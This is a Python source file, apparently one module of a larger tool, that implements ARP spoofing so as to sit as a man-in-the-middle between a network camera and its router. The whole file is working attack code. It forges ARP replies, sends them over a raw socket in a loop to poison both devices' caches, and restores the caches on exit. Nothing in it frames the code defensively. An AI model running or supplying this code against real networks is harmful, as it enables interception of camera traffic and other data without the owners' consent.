"""ARP spoofing service — positions us as MITM between camera and router""" import socket import struct import os import time from utils.log import log, C_SUCCESS, C_ERROR, C_INFO def get_mac(ip): try: out = os.popen(f"ip neigh show {ip}").read() for line in out.strip().split("\n"): parts = line.split() if "lladdr" in parts: return parts[parts.index("lladdr") + 1] except: pass return None def build_arp_reply(src_mac_str, dst_mac_str, src_ip, dst_ip): src_mac = bytes.fromhex(src_mac_str.replace(":", "")) dst_mac = bytes.fromhex(dst_mac_str.replace(":", "")) eth = dst_mac + src_mac + b"\x08\x06" arp = struct.pack("!HHBBH", 1, 0x0800, 6, 4, 2) arp += src_mac + socket.inet_aton(src_ip) arp += dst_mac + socket.inet_aton(dst_ip) return eth + arp def run(cfg, flags, running_check): iface = cfg["iface"] camera_ip = cfg["camera_ip"] router_ip = cfg["router_ip"] try: with open(f"/sys/class/net/{iface}/address") as f: our_mac = f.read().strip() except: log("ARP: cannot read our MAC", C_ERROR) return os.system(f"ping -c 1 -W 1 {router_ip} >/dev/null 2>&1") os.system(f"ping -c 1 -W 1 {camera_ip} >/dev/null 2>&1") time.sleep(1) router_mac = get_mac(router_ip) camera_mac = get_mac(camera_ip) or cfg["camera_mac"] if not router_mac: log(f"ARP: cannot find router MAC for {router_ip}", C_ERROR) return log(f"ARP: us={our_mac} router={router_mac} camera={camera_mac}", C_SUCCESS) try: sock = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(0x0003)) sock.bind((iface, 0)) except PermissionError: log("ARP: need root for raw sockets", C_ERROR) return flags["arp"] = True pkt_to_cam = build_arp_reply(our_mac, camera_mac, router_ip, camera_ip) pkt_to_rtr = build_arp_reply(our_mac, router_mac, camera_ip, router_ip) while running_check(): try: sock.send(pkt_to_cam) sock.send(pkt_to_rtr) except: pass time.sleep(2) # Restore log("ARP: restoring...", C_INFO) r1 = build_arp_reply(router_mac, camera_mac, router_ip, camera_ip) r2 = build_arp_reply(camera_mac, router_mac, camera_ip, router_ip) for _ in range(5): try: sock.send(r1) sock.send(r2) except: pass time.sleep(0.3) sock.close() flags["arp"] = False log("ARP: restored", C_INFO)